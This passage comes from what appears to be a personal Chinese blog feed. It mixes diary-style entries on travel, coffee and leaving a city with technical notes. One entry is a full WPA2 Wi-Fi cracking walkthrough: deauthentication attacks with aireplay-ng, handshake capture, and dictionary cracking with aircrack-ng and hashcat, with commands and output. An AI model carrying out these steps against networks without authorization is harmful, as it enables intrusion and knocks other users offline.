server_public@172.16.4.40</span><br></pre></td></tr></table></figure><h2 id="动态转发"><a href="#动态转发" class="headerlink" title="动态转发"></a>动态转发</h2><blockquote><p>在 <code>本机</code> 上建立一个 <code>socket</code> 代理、通过此代理的数据 将通过 <code>服务端</code> 转发出去</p></blockquote><ol><li>恩 好像就 <code>7890</code>、<code>20170</code> 那种端口吧</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -D [本地监听地址 localhost]:[本地监听端口] [待登录主机用户名]@[待登录主机地址]</span><br></pre></td></tr></table></figure><ul><li>将 <code>本机</code> <code>18080</code> 端口接受到的数据通过 <code>跳板机</code> 转发出去</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -D 18080 jump@10.0.2.20</span><br></pre></td></tr></table></figure><h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1><ul><li><a href="https://github.com/st286/SSH-port-forwarding">https://github.com/st286/SSH-port-forwarding</a></li><li><a href="https://youguanxinqing.xyz/archives/154/">https://youguanxinqing.xyz/archives/154/</a></li><li><a href="https://jeremyxu2010.github.io/2018/12/ssh%E7%9A%84%E4%B8%89%E7%A7%8D%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91/">https://jeremyxu2010.github.io/2018/12/ssh的三种端口转发/</a></li></ul>]]></content>
<summary type="html">恩 和端口有关的</summary>
</entry>
<entry>
<title>飞机</title>
<link href="https://puzzle9.github.io/posts/b1beabae/"/>
<id>https://puzzle9.github.io/posts/b1beabae/</id>
<published>2023-10-07T06:54:27.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<p>恩 飞机</p><p>坐飞机</p><p>你说</p><p>这个安全性 源于哪里</p><p>他是没有中间站的</p><p>只要走了 就是直达</p><p>每次 前期 这个心里啊 就感觉</p><p>emmmmmmmmm</p><p>忐忑</p><p>是因为这是富人的工具吗</p>]]></content>
<summary type="html"><p>恩 飞机</p>
<p>坐飞机</p>
<p>你说</p>
<p>这个安全性 源于哪里</p>
<p>他是没有中间站的</p>
<p>只要走了 就是直达</p>
<p>每次 前期 这个心里啊 就感觉</p>
<p>emmmmmmmmm</p>
<p>忐忑</p>
<p>是因</summary>
</entry>
<entry>
<title>starbucks</title>
<link href="https://puzzle9.github.io/posts/d6910c5f/"/>
<id>https://puzzle9.github.io/posts/d6910c5f/</id>
<published>2023-09-08T11:29:39.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<p>呀 <code>燕麦丝绒拿铁</code> 有点甜</p><p>再者 <code>超大的马克杯</code> 不是每个店都有的</p><p>平时 好像想要去消磨时间 都会去哪里</p><p>听听那好像每个人都有分享的事情</p><p>对了 他们不赶人的</p><p>不过 他们家神奇的是</p><p>每个不同规则的杯子的规则差<code>3元</code></p><p>可是 超大杯 也就区区 <code>591ml</code></p><p>好像快到普通<code>脉动</code>的容量了</p><p>我嘛</p><p>一个<code>中杯兑换券</code></p><p>再 <code>+6¥</code> 升个 <code>超大杯</code></p><p><code>咣咣咣</code> 的在<code>5分钟</code>喝完</p><p>趁着杯子的余热</p><p>再去前台加上那么<code>两三杯</code>的温开水</p><p>开始想着 如何度过这</p><p>人均 <code>40+</code> 的 <code>第三方空间</code></p><p>好像 时间比较充足的时候</p><p>去带着电脑</p><p>记录下自己脑瓜中那还没被扼杀在摇篮中的<code>project</code></p><p>又或者</p><p>可能因为<code>券</code>块过期了</p><p>而不忍心让他白白过期</p><p>便匆匆的选上一杯</p><p>恩 不舍得带走</p><p>还是依旧那样 <code>咣的咣完</code></p><p>然后 离开</p><p>要说这个喝的感觉吧</p><p>恩 好像也喝不出来区别</p><p>他手工调制的就那么不到 <code>10</code>种</p><p>恩 我觉得慢慢的喝完</p><p>应该就晓得区别了</p><p>记得有一次</p><p>点了 <code>热拿铁</code></p><p>你别说 那感觉真的 好像很苦</p><p>不过为什么选热而非招牌的冰呢</p><p>说起来</p><p>好像是对冰的 恩 不能吃冰的呢</p><p>啊 这时候</p><p>我已经喝完了一杯温开水</p><p>我觉得 我好像结束了</p><p>可能 那杯有点甜的 <code>燕麦丝绒拿铁</code> 喝快了吧</p><p>哦对 还有那个 <code>馥芮白 fù ruì bái</code> 我又还给语文老师了</p><h1 id="231009"><a href="#231009" class="headerlink" title="231009"></a>231009</h1><p>如果打碎了一个杯子怎么办</p><p>这种吗</p><p>是的</p><p>那首先关心的是你有没有受伤 其次 是不用赔的</p>]]></content>
<summary type="html">恩 那个第三方空间饮料老贵的那个</summary>
</entry>
<entry>
<title>wifi 密码破解</title>
<link href="https://puzzle9.github.io/posts/fb0ff78c/"/>
<id>https://puzzle9.github.io/posts/fb0ff78c/</id>
<published>2023-08-18T15:23:36.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<blockquote><p>可以用 <code>某钥匙</code> 直接连接就好啦<br>或者 直接走社会工程学 吧</p></blockquote><h1 id="前提"><a href="#前提" class="headerlink" title="前提"></a>前提</h1><ul><li>wifi 有设备使用且信号强度可以</li><li>可以抓握手包</li><li>大概猜得出密码类型</li><li>有显卡将更快的破出密码</li></ul><h1 id="研究中"><a href="#研究中" class="headerlink" title="研究中"></a>研究中</h1><h2 id="安装软件"><a href="#安装软件" class="headerlink" title="安装软件"></a>安装软件</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># pacman -S aircrack-ng</span></span><br></pre></td></tr></table></figure><h2 id="查看可用网卡"><a href="#查看可用网卡" class="headerlink" title="查看可用网卡"></a>查看可用网卡</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># airmon-ng</span></span><br><span class="line"></span><br><span class="line">PHYInterfaceDriverChipset</span><br><span class="line"></span><br><span class="line">phy0wlp2s0iwlwifiIntel Corporation Wi-Fi 6 AX210/AX211/AX411 160MHz (rev 1a)</span><br></pre></td></tr></table></figure><h2 id="开启设备监听模式"><a href="#开启设备监听模式" class="headerlink" title="开启设备监听模式"></a>开启设备监听模式</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># airmon-ng start wlp2s0</span></span><br></pre></td></tr></table></figure><h2 id="寻找一个目标"><a href="#寻找一个目标" class="headerlink" title="寻找一个目标"></a>寻找一个目标</h2><blockquote><p>找一个 有连接 <code>STATION</code> 的 且信号 <code>PWR</code> 还行的 且名字 <code>ESSID</code> 喜欢的</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># airodump-ng wlp2s0mon</span></span><br><span class="line"> CH 1 ][ Elapsed: 6 s ][ 2023-08-18 23:38</span><br><span class="line"></span><br><span class="line"> BSSID PWR RXQ Beacons <span class="comment">#Data, #/s CH MB ENC CIPHER AUTH ESSID</span></span><br><span class="line"></span><br><span class="line"> 5E:DE:34:29:4F:E4 -46 78 51 7 1 1 360 WPA2 CCMP PSK p</span><br><span class="line"></span><br><span class="line"> BSSID STATION PWR Rate Lost Frames Notes Probes</span><br><span class="line"></span><br><span class="line"> 5E:DE:34:29:4F:E4 54:0E:58:F1:45:09 -28 0 - 6e 228 157</span><br></pre></td></tr></table></figure><ul><li>就 <code>BSSID</code> 为 <code>5E:DE:34:29:4F:E4</code> 且 <code>ESSID</code> 为 <code>p</code> 的 并且有一个设备连接的 这个 幸运儿了</li></ul><h2 id="获取握手包"><a href="#获取握手包" class="headerlink" title="获取握手包"></a>获取握手包</h2><h3 id="开始握手抓包"><a href="#开始握手抓包" class="headerlink" title="开始握手抓包"></a>开始握手抓包</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># airodump-ng -w wifi_p -c 1 --bssid 5E:DE:34:29:4F:E4 wlp2s0mon</span></span><br><span class="line"></span><br><span class="line"> CH 1 ][ Elapsed: 1 min ][ 2023-08-18 23:41 ][ WPA handshake: 5E:DE:34:29:4F:E4</span><br><span class="line"></span><br><span class="line"> BSSID PWR RXQ Beacons <span class="comment">#Data, #/s CH MB ENC CIPHER AUTH ESSID</span></span><br><span class="line"></span><br><span class="line"> 5E:DE:34:29:4F:E4 -58 68 678 689 65 1 360 WPA2 CCMP PSK p</span><br><span class="line"></span><br><span class="line"> BSSID STATION PWR Rate Lost Frames Notes Probes</span><br><span class="line"></span><br><span class="line"> 5E:DE:34:29:4F:E4 54:0E:58:F1:45:09 -37 1e- 6e 1099 1660 EAPOL p</span><br></pre></td></tr></table></figure><ul><li><code>-w</code> 保存的文件名</li><li><code>-c</code> 信道 <code>CH</code> 字段</li><li><code>--bssid</code> 目标的 <code>mac</code> 地址</li></ul><p>当看到 <code>WPA handshake</code> 时 就说明获得握手包了</p><p>不管有没有成功 使用了 <code>-w</code> 参数 都会保存本次结果</p><h3 id="攻击对方更快的获得握手包"><a href="#攻击对方更快的获得握手包" class="headerlink" title="攻击对方更快的获得握手包"></a>攻击对方更快的获得握手包</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@p-redmibook puzzle]# aireplay-ng -0 3 -a 5E:DE:34:29:4F:E4 wlp2s0mon</span><br><span class="line">23:41:46 Waiting <span class="keyword">for</span> beacon frame (BSSID: 5E:DE:34:29:4F:E4) on channel 1</span><br><span class="line">NB: this attack is more effective when targeting</span><br><span class="line">a connected wireless client (-c <client<span class="string">'s mac>).</span></span><br><span class="line"><span class="string">23:41:46 Sending DeAuth (code 7) to broadcast -- BSSID: [5E:DE:34:29:4F:E4]</span></span><br><span class="line"><span class="string">23:41:46 Sending DeAuth (code 7) to broadcast -- BSSID: [5E:DE:34:29:4F:E4]</span></span><br><span class="line"><span class="string">23:41:47 Sending DeAuth (code 7) to broadcast -- BSSID: [5E:DE:34:29:4F:E4]</span></span><br><span class="line"><span class="string">23:41:47 Sending DeAuth (code 7) to broadcast -- BSSID: [5E:DE:34:29:4F:E4]</span></span><br></pre></td></tr></table></figure><ul><li><code>-0</code> 攻击模式 <code>断开连接</code></li><li><code>3</code> 共计次数 <code>0</code> 无线</li><li><code>-a</code> 目标的 <code>mac</code> 地址</li><li><code>-c</code> 指定连接设备 不指定则是所有</li></ul><h2 id="破解握手包"><a href="#破解握手包" class="headerlink" title="破解握手包"></a>破解握手包</h2><h3 id="生成字典"><a href="#生成字典" class="headerlink" title="生成字典"></a>生成字典</h3><p>如</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">'qaz123456'</span> > wifi_password.dict</span><br></pre></td></tr></table></figure><h3 id="用字典破解握手包"><a href="#用字典破解握手包" class="headerlink" title="用字典破解握手包"></a>用字典破解握手包</h3><h4 id="自带的-cpu-方式"><a href="#自带的-cpu-方式" class="headerlink" title="自带的 cpu 方式"></a>自带的 <code>cpu</code> 方式</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># aircrack-ng -w wifi_password.dict wifi_p-01.cap</span></span><br><span class="line">Reading packets, please <span class="built_in">wait</span>...</span><br><span class="line">Opening wifi_p-01.cap</span><br><span class="line">Read 6644 packets.</span><br><span class="line"></span><br><span class="line"> <span class="comment"># BSSID ESSID Encryption</span></span><br><span class="line"></span><br><span class="line"> 1 5E:DE:34:29:4F:E4 p WPA (1 handshake)</span><br><span class="line"></span><br><span class="line">Choosing first network as target.</span><br><span class="line"></span><br><span class="line">Reading packets, please <span class="built_in">wait</span>...</span><br><span class="line">Opening wifi_p-01.cap</span><br><span class="line">Read 6644 packets.</span><br><span class="line"></span><br><span class="line">1 potential targets</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> Aircrack-ng 1.7</span><br><span class="line"></span><br><span class="line"> [00:00:00] 1/1 keys tested (39.93 k/s)</span><br><span class="line"></span><br><span class="line"> Time left: --</span><br><span class="line"></span><br><span class="line"> KEY FOUND! [ qaz123456 ]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> Master Key : 1D 02 19 7B 71 FF F2 E0 3D 45 06 81 6D 0B 61 D3</span><br><span class="line"> B6 37 49 89 4C 5F 98 09 A8 30 11 96 E9 A1 8E B4</span><br><span class="line"></span><br><span class="line"> Transient Key : 99 DF F0 C4 41 F8 3A FF D9 E1 DB CB 0B F2 BB 93</span><br><span class="line"> 2D 37 44 6F 4B 53 86 5C F0 15 CE 64 E0 C8 00 08</span><br><span class="line"> AD A9 5D 7E 7E 4C 5C E6 82 D4 9D CF 72 AD 8D 20</span><br><span class="line"> B5 0C F9 F8 5E D8 BB 01 FC 1A C3 BB E4 31 A2 9A</span><br><span class="line"></span><br><span class="line"> EAPOL HMAC : DB FD 4A 90 FC 1D 4A 90 EF B3 02 12 EF 51 85 9C</span><br></pre></td></tr></table></figure><ul><li><code>-w</code> 字典文件</li></ul><h4 id="采用-hascat-gpu-模式"><a href="#采用-hascat-gpu-模式" class="headerlink" title="采用 hascat gpu 模式"></a>采用 <code>hascat</code> <code>gpu</code> 模式</h4><h5 id="将-cap-文件转为-hascat-认的格式"><a href="#将-cap-文件转为-hascat-认的格式" class="headerlink" title="将 cap 文件转为 hascat 认的格式"></a>将 <code>cap</code> 文件转为 <code>hascat</code> 认的格式</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">$ hcxpcapngtool wifi_p-01.cap -o wifi_p-01.hash</span><br><span class="line">hcxpcapngtool 6.3.0 reading from wifi_p-01.cap...</span><br><span class="line"></span><br><span class="line">summary capture file</span><br><span class="line">--------------------</span><br><span class="line">file name................................: wifi_p-01.cap</span><br><span class="line">version (pcap/cap).......................: 2.4 (very basic format without any additional information)</span><br><span class="line">timestamp minimum (GMT)..................: 18.08.2023 23:40:25</span><br><span class="line">timestamp maximum (GMT)..................: 18.08.2023 23:41:57</span><br><span class="line">used capture interfaces..................: 1</span><br><span class="line"><span class="built_in">link</span> layer header <span class="built_in">type</span>...................: DLT_IEEE802_11 (105) very basic format without any additional information about the quality</span><br><span class="line">endianness (capture system)..............: little endian</span><br><span class="line">packets inside...........................: 6644</span><br><span class="line">ESSID (total unique).....................: 1</span><br><span class="line">BEACON (total)...........................: 1</span><br><span class="line">BEACON on 2.4 GHz channel (from IE_TAG)..: 1</span><br><span class="line">ACTION (total)...........................: 53</span><br><span class="line">PROBEREQUEST (directed)..................: 4</span><br><span class="line">PROBERESPONSE (total)....................: 79</span><br><span class="line">DEAUTHENTICATION (total).................: 2561</span><br><span class="line">AUTHENTICATION (total)...................: 6</span><br><span class="line">AUTHENTICATION (OPEN SYSTEM).............: 6</span><br><span class="line">ASSOCIATIONREQUEST (total)...............: 2</span><br><span class="line">ASSOCIATIONREQUEST (PSK).................: 2</span><br><span class="line">WPA encrypted............................: 689</span><br><span class="line">EAPOL messages (total)...................: 8</span><br><span class="line">EAPOL RSN messages.......................: 8</span><br><span class="line">EAPOLTIME gap (measured maximum msec)....: 2695</span><br><span class="line">EAPOL ANONCE error corrections (NC)......: not detected</span><br><span class="line">EAPOL M1 messages (total)................: 2</span><br><span class="line">EAPOL M2 messages (total)................: 2</span><br><span class="line">EAPOL M3 messages (total)................: 2</span><br><span class="line">EAPOL M4 messages (total)................: 2</span><br><span class="line">EAPOL M4 messages (zeroed NONCE).........: 2</span><br><span class="line">EAPOL pairs (total)......................: 7</span><br><span class="line">EAPOL pairs (best).......................: 1</span><br><span class="line">EAPOL pairs written to 22000 <span class="built_in">hash</span> file...: 1 (RC checked)</span><br><span class="line">EAPOL M32E2 (authorized).................: 1</span><br><span class="line"></span><br><span class="line">session summary</span><br><span class="line">---------------</span><br><span class="line">processed <span class="built_in">cap</span> files...................: 1</span><br></pre></td></tr></table></figure><h5 id="感受显卡的香味"><a href="#感受显卡的香味" class="headerlink" title="感受显卡的香味"></a>感受显卡的香味</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">$ hashcat -m 22000 wifi_p-01.hash wifi_password.dict</span><br><span class="line">hashcat (v6.2.6) starting</span><br><span class="line"></span><br><span class="line">nvmlDeviceGetFanSpeed(): Not Supported</span><br><span class="line"></span><br><span class="line">CUDA API (CUDA 12.2)</span><br><span class="line">====================</span><br><span class="line">* Device <span class="comment">#1: NVIDIA GeForce RTX 2050, 3827/3904 MB, 16MCU</span></span><br><span class="line"></span><br><span class="line">OpenCL API (OpenCL 3.0 CUDA 12.2.135) - Platform <span class="comment">#1 [NVIDIA Corporation]</span></span><br><span class="line">========================================================================</span><br><span class="line">* Device <span class="comment">#2: NVIDIA GeForce RTX 2050, skipped</span></span><br><span class="line"></span><br><span class="line">Minimum password length supported by kernel: 8</span><br><span class="line">Maximum password length supported by kernel: 63</span><br><span class="line"></span><br><span class="line">Hashes: 2 digests; 1 unique digests, 1 unique salts</span><br><span class="line">Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates</span><br><span class="line">Rules: 1</span><br><span class="line"></span><br><span class="line">Optimizers applied:</span><br><span class="line">* Zero-Byte</span><br><span class="line">* Single-Hash</span><br><span class="line">* Single-Salt</span><br><span class="line">* Slow-Hash-SIMD-LOOP</span><br><span class="line"></span><br><span class="line">Watchdog: Temperature abort trigger <span class="built_in">set</span> to 90c</span><br><span class="line"></span><br><span class="line">Host memory required <span class="keyword">for</span> this attack: 1075 MB</span><br><span class="line"></span><br><span class="line">Dictionary cache built:</span><br><span class="line">* Filename..: wifi_password.txt</span><br><span class="line">* Passwords.: 1</span><br><span class="line">* Bytes.....: 10</span><br><span class="line">* Keyspace..: 1</span><br><span class="line">* Runtime...: 0 secs</span><br><span class="line"></span><br><span class="line">The wordlist or mask that you are using is too small.</span><br><span class="line">This means that hashcat cannot use the full parallel power of your device(s).</span><br><span class="line">Unless you supply more work, your cracking speed will drop.</span><br><span class="line">For tips on supplying more work, see: https://hashcat.net/faq/morework</span><br><span class="line"></span><br><span class="line">Approaching final keyspace - workload adjusted.</span><br><span class="line"></span><br><span class="line">dbfd4a90fc1d4a90efb30212ef51859c:ea6dcb4ac62e:bc6ad15e5197:p:qaz123456</span><br><span class="line"></span><br><span class="line">Session..........: hashcat</span><br><span class="line">Status...........: Cracked</span><br><span class="line">Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)</span><br><span class="line">Hash.Target......: wifi_p-01.hash</span><br><span class="line">Time.Started.....: Sat Aug 19 00:02:57 2023 (0 secs)</span><br><span class="line">Time.Estimated...: Sat Aug 19 00:02:57 2023 (0 secs)</span><br><span class="line">Kernel.Feature...: Pure Kernel</span><br><span class="line">Guess.Base.......: File (wifi_password.txt)</span><br><span class="line">Guess.Queue......: 1/1 (100.00%)</span><br><span class="line">Speed.#1.........: 56 H/s (0.09ms) @ Accel:64 Loops:32 Thr:256 Vec:1</span><br><span class="line">Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)</span><br><span class="line">Progress.........: 1/1 (100.00%)</span><br><span class="line">Rejected.........: 0/1 (0.00%)</span><br><span class="line">Restore.Point....: 0/1 (0.00%)</span><br><span class="line">Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1</span><br><span class="line">Candidate.Engine.: Device Generator</span><br><span class="line">Candidates.#1....: qaz123456 -> qaz123456</span><br><span class="line">Hardware.Mon.#1..: Temp: 42c Util: 94% Core:1702MHz Mem:7000MHz Bus:4</span><br><span class="line"></span><br><span class="line">Started: Sat Aug 19 00:02:54 2023</span><br><span class="line">Stopped: Sat Aug 19 00:02:58 2023</span><br></pre></td></tr></table></figure><h2 id="停止设备监听模式"><a href="#停止设备监听模式" class="headerlink" title="停止设备监听模式"></a>停止设备监听模式</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">airmon-ng stop wlp2s0mon</span><br></pre></td></tr></table></figure><h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><h2 id="获取隐藏的-ssid"><a href="#获取隐藏的-ssid" class="headerlink" title="获取隐藏的 ssid"></a>获取隐藏的 <code>ssid</code></h2><p>和 抓取握手包方式类似</p><p>还是继续攻击 有设备连接的时候 这个名字会显示出来的</p><h2 id="获取-5g-wifi的包"><a href="#获取-5g-wifi的包" class="headerlink" title="获取 5g wifi的包"></a>获取 <code>5g</code> wifi的包</h2><p>todo</p><h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1><ul><li><a href="https://github.com/conwnet/wpa-dictionary">https://github.com/conwnet/wpa-dictionary</a></li><li><a href="https://github.com/gorgiaxx/gen-phone-number/">https://github.com/gorgiaxx/gen-phone-number/</a></li></ul>]]></content>
<summary type="html">那次无流量的时光</summary>
</entry>
<entry>
<title>过客</title>
<link href="https://puzzle9.github.io/posts/eb968e3/"/>
<id>https://puzzle9.github.io/posts/eb968e3/</id>
<published>2023-08-05T08:29:13.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<p>突然想起来</p><p>从4月来到这所城市 到现在已经有4月了</p><p>要离开的话</p><p>是不是要一一给印象中的人物道别</p><p>为了让对方晓得这个事情嘛</p><p>相遇既是缘分</p><p>告诉对方</p><p>自己要离开了</p><p>恩 感觉还不错</p><p>可是</p><p>何以为家呢</p><p>还有 这所城市</p><p>未完成的事情</p><p>牵挂的事情</p><p>要怎么处理呢</p>]]></content>
<summary type="html">时光匆匆 那路边的故事</summary>
</entry>
<entry>
<title>城市故事</title>
<link href="https://puzzle9.github.io/posts/ba2c0eca/"/>
<id>https://puzzle9.github.io/posts/ba2c0eca/</id>
<published>2023-04-04T04:07:28.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
<content type="html"><![CDATA[<h1 id="陕西"><a href="#陕西" class="headerlink" title="陕西"></a>陕西</h1><h2 id="西安-省会"><a href="#西安-省会" class="headerlink" title="西安 省会"></a>西安 省会</h2><ul><li>车让人</li></ul><h1 id="广州"><a href="#广州" class="headerlink" title="广州"></a>广州</h1><h2 id="广东-省会"><a href="#广东-省会" class="headerlink" title="广东 省会"></a>广东 省会</h2><blockquote><p>白云山</p></blockquote><ul><li>靓仔</li><li>公交车去和回的路线大概率不同</li></ul><h1 id="内蒙"><a href="#内蒙" class="headerlink" title="内蒙"></a>内蒙</h1><h2 id="呼和浩特"><a href="#呼和浩特" class="headerlink" title="呼和浩特"></a>呼和浩特</h2><p>各民族要像石榴籽一样紧紧抱在一起</p><blockquote><p>大召无量寺<br>昭君博物院<br>塞上老街<br>内蒙古博物馆<br>内蒙古科学技术馆</p></blockquote><ul><li>公交等扶稳再开</li></ul><h2 id="鄂尔多斯"><a href="#鄂尔多斯" class="headerlink" title="鄂尔多斯"></a>鄂尔多斯</h2><blockquote><p>成吉思汗广场<br>鄂尔多斯市 博物馆、 图书馆</p></blockquote><h1 id="江苏"><a href="#江苏" class="headerlink" title="江苏"></a>江苏</h1><h2 id="宿迁"><a href="#宿迁" class="headerlink" title="宿迁"></a>宿迁</h2><p>人间烟火气 最抚凡人心</p><blockquote><p>骆马湖<br>三台山国家森林公园<br>宝龙广场</p></blockquote><ul><li>下车提前示意或按铃</li><li>星爸爸的<code>wifi</code>是 <code>ChinaNet-Starbucks</code></li><li>同一个公交站 站名大概率是不同的</li></ul><h2 id="徐州"><a href="#徐州" class="headerlink" title="徐州"></a>徐州</h2><ul><li>徐州东站 东、西广场</li></ul><h1 id="安徽"><a href="#安徽" class="headerlink" title="安徽"></a>安徽</h1><h2 id="淮北"><a href="#淮北" class="headerlink" title="淮北"></a>淮北</h2><blockquote><p>相山国家森林公园</p></blockquote><ul><li>海拔变化大且高架桥众多的</li></ul><h1 id="河南"><a href="#河南" class="headerlink" title="河南"></a>河南</h1><h2 id="郑州-省会"><a href="#郑州-省会" class="headerlink" title="郑州 省会"></a>郑州 省会</h2><blockquote><p>大玉米楼<br>河南博物院<br>二七广场 步行街</p></blockquote><ul><li><code>brt</code> 公交</li><li>好像小区都有门</li></ul><h1 id="山西"><a href="#山西" class="headerlink" title="山西"></a>山西</h1><h2 id="晋中"><a href="#晋中" class="headerlink" title="晋中"></a>晋中</h2><ul><li>公交司机 站起来欢迎乘坐 <code>到站后请您等车辆停稳后再起身下车</code></li></ul><h2 id="太原-省会"><a href="#太原-省会" class="headerlink" title="太原 省会"></a>太原 省会</h2><blockquote><p>好像是一个 被 <code>汾河</code> 隔开的城市</p></blockquote><blockquote><p>山西博物馆<br>晋商博物馆<br>太原动物园</p></blockquote><blockquote><p>自行车道</p></blockquote><ul><li>公交司机开车都很平稳</li></ul>]]></content>
<summary type="html">那些在城市遇到的事情</summary>
</entry>
<entry>
<title>百家姓认全计划</title>
<link href="https://puzzle9.github.io/posts/da84cdef/"/>
<id>https://puzzle9.github.io/posts/da84cdef/</id>
<published>2023-01-14T09:38:20.000Z</published>
<updated>2024-09-11T15:20:17.366Z</updated>
